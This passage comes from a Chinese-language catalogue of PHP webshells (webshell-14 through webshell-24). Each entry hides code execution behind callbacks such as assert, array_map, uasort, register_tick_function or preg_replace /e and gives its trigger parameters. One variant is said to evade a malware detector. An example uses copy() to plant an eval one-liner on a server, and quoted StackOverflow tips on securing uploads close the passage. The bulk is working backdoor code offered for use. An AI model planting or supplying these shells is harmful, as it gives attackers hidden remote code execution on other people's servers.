filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
密碼:pass

webshell-14.php(register_shutdown_function)

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
後門:
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
密碼:e=assert&pass=phpinfo();

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html  创造tips的秘籍——PHP回调后门

webshell-15.php(array_map回調)

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
後門:
array_map(base64_decode($e), $arr);
密碼:e=YXNzZXJ0  + pass
YXNzZXJ0就是assert的base64加密

php5.4.8+中的assert

php 5.4.8+後的版本,assert函數由一個參數,增加了一個可選參數descrition:
這就增加(改變)了一個很好的“執行代碼”的方法assert,這個函數可以有一個參數,也可以有兩個參數。那麼以前回調後門中有兩個參數的回調函數,現在就可以使用了。

webshell-16.php(uasort回調)

$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
後門:
uasort($arr, base64_decode($e));
密碼:e=YXNzZXJ0  + pass

webshell-17.php(uksort回調)

$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
後門:
uksort($arr, $e);
密碼:e=assert  + pass

webshell-18.php(uasort/uksort 面向對象)

// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
後門:
$arr->uasort('assert');
$arr->uksort('assert');
密碼:pass

webshell-19.php(array_reduce/array_udiff回調)

// way 1
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

// way 2
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
後門:
array_reduce($arr, $e, $_POST['pass']);
array_udiff($arr, $arr2, $e);
密碼:e=assert&pass=phpinfo();

三參數回調函數

有些函數需要的回調函數類型比較苛刻,回調格式需要三個參數。比如array_walk。array_walk的第二個參數是callable類型,正常情況下它是格式是兩個參數的


php中,可以執行代碼的函數:
  1. 一個參數:assert
  2. 兩個參數:assert (php5.4.8+)
  3. 三個參數:preg_replace /e模式

webshell-20.php(array_walk/array_walk_recursive + preg_replace回調)

// way 1
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

// way 2
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
後門:
array_walk($arr, $e, '');
array_walk_recursive($arr, $e, '');
密碼:e=preg_replace&pass=phpinfo();

單參數後門終極奧義

webshell-21.php(register_tick_function)

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
後門:
register_tick_function($e, $_REQUEST['pass']);
密碼:e=assert&pass=phpinfo();

webshell-22.php(preg_replace_callback/mb_ereg_replace_callback+create_function回調)

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

後門:
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
密碼:pass=phpinfo();

webshell-23.php(CallbackFilterIterator類+create_function回調)

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
    echo $item;
}
後門:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
密碼:pass=phpinfo();


webshell-24.php(array_map回調+php-malware-detector繞過)

function today($c, $d) {
    @array_map($c, $d);
}
today(assert, array($_GET[benosvwx7]));
密碼:benosvwx7=phpinfo();



其他惡意代碼

https://stackoverflow.com/a/3697776  Exploitable PHP functions

malicious-1.php(copy)

根據 RATS(連接已失效) ,所有PHP的 檔案系統函數 都是令人擔憂的(nasty)。有些看起來對攻擊者不像很有用。但你可以想象有些很有用。例如,如果 allow_url_fopen=On 則URL可以被當做文件路徑(file path)使用,所以 copy($_GET['s'], $_GET['d']); 可以被用來上傳PHP腳本到系統的任意位置。另外,如果這個站的GET請求有弱點(vulnerable),每一個檔案系統函數可以被攻擊者濫用,通過你的server去攻擊其他主機
copy($_GET['s'], $_GET['d']);
漏洞利用:
將  http://other.host.bt/webshell-8.txt (內容為 <?php @eval($_POST['a']) ?> )複製到 http://webshell2.bt/ 的 webshell-8.php
這樣 http://webshell2.bt/webshell-8.php 就是webshell 
當然你也可以複製其他網站的圖片(jpg)到 http://webshell2.bt/

move_uploaded_file

https://stackoverflow.com/a/3715941  Exploitable PHP functions
I know move_uploaded_file has been mentioned, but file uploading in general is very dangerous. Just the presence of $_FILES should raise some concern.
move_uploaded_file 需要被注意,文件上傳通常是危險的。所有有 $_FILES 的地方都需要提高警覺。
It's quite possible to embed PHP code into any type of file. Images can be especially vulnerable with text comments. The problem is particularly troublesome if the code accepts the extension found within the $_FILES data as-is.
十分有可能將PHP代碼嵌入圖片中(文件包含漏洞)
For example, a user could upload a valid PNG file with embedded PHP code as "foo.php". If the script is particularly naive, it may actually copy the file as "/uploads/foo.php". If the server is configured to allow script execution in user upload directories (often the case, and a terrible oversight), then you instantly can run any arbitrary PHP code. (Even if the image is saved as .png, it might be possible to get the code to execute via other security flaws.)
例如,用戶上傳PNG文件(內嵌PHP代碼)。如果伺服器配置允許在用戶上傳的目錄運行腳本,那麼你可以執行任何PHP代碼(即使圖片存成.png,他可能被其他安全瑕疵執行) - 文件包含漏洞
A (non-exhaustive) list of things to check on uploads:
  • Make sure to analyze the contents to make sure the upload is the type it claims to be
  • Save the file with a known, safe file extension that will not ever be executed
  • Make sure PHP (and any other code execution) is disabled in user upload directories
如何檢查文件上傳(非詳盡的)
  • 分析內容,確保上傳的文件類型是他所上傳的
  • 保存檔案為不會被執行的安全文件類型(白名單)
  • 確保PHP和其他代碼執行(文件包含)不會執行用戶上傳目錄上的文件